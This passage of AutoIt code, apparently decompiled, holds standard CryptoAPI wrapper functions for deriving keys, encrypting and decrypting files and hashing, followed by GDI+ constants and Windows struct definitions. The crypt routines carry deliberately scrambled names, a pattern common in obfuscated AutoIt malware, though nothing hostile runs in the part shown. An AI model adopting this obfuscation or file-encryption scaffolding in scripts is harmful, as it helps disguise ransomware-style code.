$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDeriveKey", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = $aret[5]
Until True
If $hcrypthash <> 0 Then DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_destroykey($hcryptkey)
Local $aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
Local $nerror = @error
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $nerror OR NOT $aret[0] Then
Return SetError(1, 0, False)
Else
Return SetError(0, 0, True)
EndIf
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_encryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
Local $hbuff
Local $ierror
Local $vreturn
Local $reqbuffsize
Local $aret
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$reqbuffsize = $aret[6]
$hbuff = DllStructCreate("byte[" & $reqbuffsize & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = DllStructGetData($hbuff, 1)
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
Local $hbuff
Local $ierror
Local $vreturn
Local $htempstruct
Local $iplaintextsize
Local $aret
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$iplaintextsize = $aret[6]
$htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
$ierror = 0
$vreturn = DllStructGetData($htempstruct, 1)
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_hashdata($vdata, $ialg_id, $ffinal = True, $hcrypthash = 0)
Local $ierror
Local $vreturn = 0
Local $ihashsize
Local $aret
Local $hbuff = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $hcrypthash = 0 Then
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptCreateHash", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
If $ffinal Then
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
$ihashsize = $aret[3]
$hbuff = DllStructCreate("byte[" & $ihashsize & "]")
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = 4
$vreturn = -1
ExitLoop
EndIf
$ierror = 0
$vreturn = DllStructGetData($hbuff, 1)
Else
$vreturn = $hcrypthash
EndIf
Until True
If $hcrypthash <> 0 AND $ffinal Then DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_hashfile($sfile, $ialg_id)
Local $hfile
Local $ierror, $vreturn
Local $hhashobject = 0
Local $btempdata
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
$hfile = FileOpen($sfile, 16)
If $hfile = -1 Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hfile, 512 * 1024)
If @error Then
$vreturn = _asklchuxzasduhuczxyiasyugcxzua_hashdata($btempdata, $ialg_id, True, $hhashobject)
If @error Then
$vreturn = -1
$ierror = 2
ExitLoop 2
EndIf
ExitLoop 2
Else
$hhashobject = _asklchuxzasduhuczxyiasyugcxzua_hashdata($btempdata, $ialg_id, False, $hhashobject)
If @error Then
$vreturn = -1
$ierror = 3
ExitLoop 2
EndIf
EndIf
Until False
Until True
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hfile <> -1 Then FileClose($hfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $hinfile, $houtfile
Local $ierror = 0, $vreturn = True
Local $btempdata
Local $ifilesize = FileGetSize($ssourcefile)
Local $iread = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, 16)
If @error Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, 26)
If @error Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = 4
$vreturn = -1
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = 5
$vreturn = -1
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $hinfile, $houtfile
Local $ierror = 0, $vreturn = True
Local $btempdata
Local $ifilesize = FileGetSize($ssourcefile)
Local $iread = 0
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _asklchuxzasduhuczxyiasyugcxzua_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, 16)
If @error Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, 26)
If @error Then
$ierror = 3
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = 4
$vreturn = -1
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _asklchuxzasduhuczxyiasyugcxzua_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = 5
$vreturn = -1
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _asklchuxzasduhuczxyiasyugcxzua_destroykey($vcryptkey)
_asklchuxzasduhuczxyiasyugcxzua_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, 0, $vreturn)
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcount()
Return $__g_acryptinternaldata[0]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcountinc()
$__g_acryptinternaldata[0] += 1
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_refcountdec()
If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_dllhandle()
Return $__g_acryptinternaldata[1]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_dllhandleset($hadvapi32)
$__g_acryptinternaldata[1] = $hadvapi32
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_context()
Return $__g_acryptinternaldata[2]
EndFunc
Func __asklchuxzasduhuczxyiasyugcxzua_contextset($hcryptcontext)
$__g_acryptinternaldata[2] = $hcryptcontext
EndFunc
Global Const $gdip_dashcapflat = 0
Global Const $gdip_dashcapround = 2
Global Const $gdip_dashcaptriangle = 3
Global Const $gdip_dashstylesolid = 0
Global Const $gdip_dashstyledash = 1
Global Const $gdip_dashstyledot = 2
Global Const $gdip_dashstyledashdot = 3
Global Const $gdip_dashstyledashdotdot = 4
Global Const $gdip_dashstylecustom = 5
Global Const $gdip_epgchrominancetable = "{F2E455DC-09B3-4316-8260-676ADA32481C}"
Global Const $gdip_epgcolordepth = "{66087055-AD66-4C7C-9A18-38A2310B8337}"
Global Const $gdip_epgcompression = "{E09D739D-CCD4-44EE-8EBA-3FBF8BE4FC58}"
Global Const $gdip_epgluminancetable = "{EDB33BCE-0266-4A77-B904-27216099E717}"
Global Const $gdip_epgquality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
Global Const $gdip_epgrendermethod = "{6D42C53A-229A-4825-8BB7-5C99E2B9A8B8}"
Global Const $gdip_epgsaveflag = "{292266FC-AC40-47BF-8CFC-A85B89A655DE}"
Global Const $gdip_epgscanmethod = "{3A4E2661-3109-4E56-8536-42C156E7DCFA}"
Global Const $gdip_epgtransformation = "{8D0EB2D1-A58E-4EA8-AA14-108074B7B6F9}"
Global Const $gdip_epgversion = "{24D18C76-814A-41A4-BF53-1C219CCCF797}"
Global Const $gdip_eptbyte = 1
Global Const $gdip_eptascii = 2
Global Const $gdip_eptshort = 3
Global Const $gdip_eptlong = 4
Global Const $gdip_eptrational = 5
Global Const $gdip_eptlongrange = 6
Global Const $gdip_eptundefined = 7
Global Const $gdip_eptrationalrange = 8
Global Const $gdip_errok = 0
Global Const $gdip_errgenericerror = 1
Global Const $gdip_errinvalidparameter = 2
Global Const $gdip_erroutofmemory = 3
Global Const $gdip_errobjectbusy = 4
Global Const $gdip_errinsufficientbuffer = 5
Global Const $gdip_errnotimplemented = 6
Global Const $gdip_errwin32error = 7
Global Const $gdip_errwrongstate = 8
Global Const $gdip_erraborted = 9
Global Const $gdip_errfilenotfound = 10
Global Const $gdip_errvalueoverflow = 11
Global Const $gdip_erraccessdenied = 12
Global Const $gdip_errunknownimageformat = 13
Global Const $gdip_errfontfamilynotfound = 14
Global Const $gdip_errfontstylenotfound = 15
Global Const $gdip_errnottruetypefont = 16
Global Const $gdip_errunsupportedgdiversion = 17
Global Const $gdip_errgdiplusnotinitialized = 18
Global Const $gdip_errpropertynotfound = 19
Global Const $gdip_errpropertynotsupported = 20
Global Const $gdip_evtcompressionlzw = 2
Global Const $gdip_evtcompressionccitt3 = 3
Global Const $gdip_evtcompressionccitt4 = 4
Global Const $gdip_evtcompressionrle = 5
Global Const $gdip_evtcompressionnone = 6
Global Const $gdip_evttransformrotate90 = 13
Global Const $gdip_evttransformrotate180 = 14
Global Const $gdip_evttransformrotate270 = 15
Global Const $gdip_evttransformfliphorizontal = 16
Global Const $gdip_evttransformflipvertical = 17
Global Const $gdip_evtmultiframe = 18
Global Const $gdip_evtlastframe = 19
Global Const $gdip_evtflush = 20
Global Const $gdip_evtframedimensionpage = 23
Global Const $gdip_icfencoder = 1
Global Const $gdip_icfdecoder = 2
Global Const $gdip_icfsupportbitmap = 4
Global Const $gdip_icfsupportvector = 8
Global Const $gdip_icfseekableencode = 16
Global Const $gdip_icfblockingdecode = 32
Global Const $gdip_icfbuiltin = 65536
Global Const $gdip_icfsystem = 131072
Global Const $gdip_icfuser = 262144
Global Const $gdip_ilmread = 1
Global Const $gdip_ilmwrite = 2
Global Const $gdip_ilmuserinputbuf = 4
Global Const $gdip_linecapflat = 0
Global Const $gdip_linecapsquare = 1
Global Const $gdip_linecapround = 2
Global Const $gdip_linecaptriangle = 3
Global Const $gdip_linecapnoanchor = 16
Global Const $gdip_linecapsquareanchor = 17
Global Const $gdip_linecaproundanchor = 18
Global Const $gdip_linecapdiamondanchor = 19
Global Const $gdip_linecaparrowanchor = 20
Global Const $gdip_linecapcustom = 255
Global Const $gdip_pxf01indexed = 196865
Global Const $gdip_pxf04indexed = 197634
Global Const $gdip_pxf08indexed = 198659
Global Const $gdip_pxf16grayscale = 1052676
Global Const $gdip_pxf16rgb555 = 135173
Global Const $gdip_pxf16rgb565 = 135174
Global Const $gdip_pxf16argb1555 = 397319
Global Const $gdip_pxf24rgb = 137224
Global Const $gdip_pxf32rgb = 139273
Global Const $gdip_pxf32argb = 2498570
Global Const $gdip_pxf32pargb = 860171
Global Const $gdip_pxf48rgb = 1060876
Global Const $gdip_pxf64argb = 3424269
Global Const $gdip_pxf64pargb = 1851406
Global Const $gdip_imageformat_undefined = "{B96B3CA9-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_memorybmp = "{B96B3CAA-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_bmp = "{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_emf = "{B96B3CAC-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_wmf = "{B96B3CAD-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_jpeg = "{B96B3CAE-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_png = "{B96B3CAF-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_gif = "{B96B3CB0-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_tiff = "{B96B3CB1-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_exif = "{B96B3CB2-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imageformat_icon = "{B96B3CB5-0728-11D3-9D7B-0000F81EF32E}"
Global Const $gdip_imagetype_unknown = 0
Global Const $gdip_imagetype_bitmap = 1
Global Const $gdip_imagetype_metafile = 2
Global Const $gdip_imageflags_none = 0
Global Const $gdip_imageflags_scalable = 1
Global Const $gdip_imageflags_hasalpha = 2
Global Const $gdip_imageflags_hastranslucent = 4
Global Const $gdip_imageflags_partiallyscalable = 8
Global Const $gdip_imageflags_colorspace_rgb = 16
Global Const $gdip_imageflags_colorspace_cmyk = 32
Global Const $gdip_imageflags_colorspace_gray = 64
Global Const $gdip_imageflags_colorspace_ycbcr = 128
Global Const $gdip_imageflags_colorspace_ycck = 256
Global Const $gdip_imageflags_hasrealdpi = 4096
Global Const $gdip_imageflags_hasrealpixelsize = 8192
Global Const $gdip_imageflags_readonly = 65536
Global Const $gdip_imageflags_caching = 131072
Global Const $tagpoint = "struct;long X;long Y;endstruct"
Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
Global Const $tagsize = "struct;long X;long Y;endstruct"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
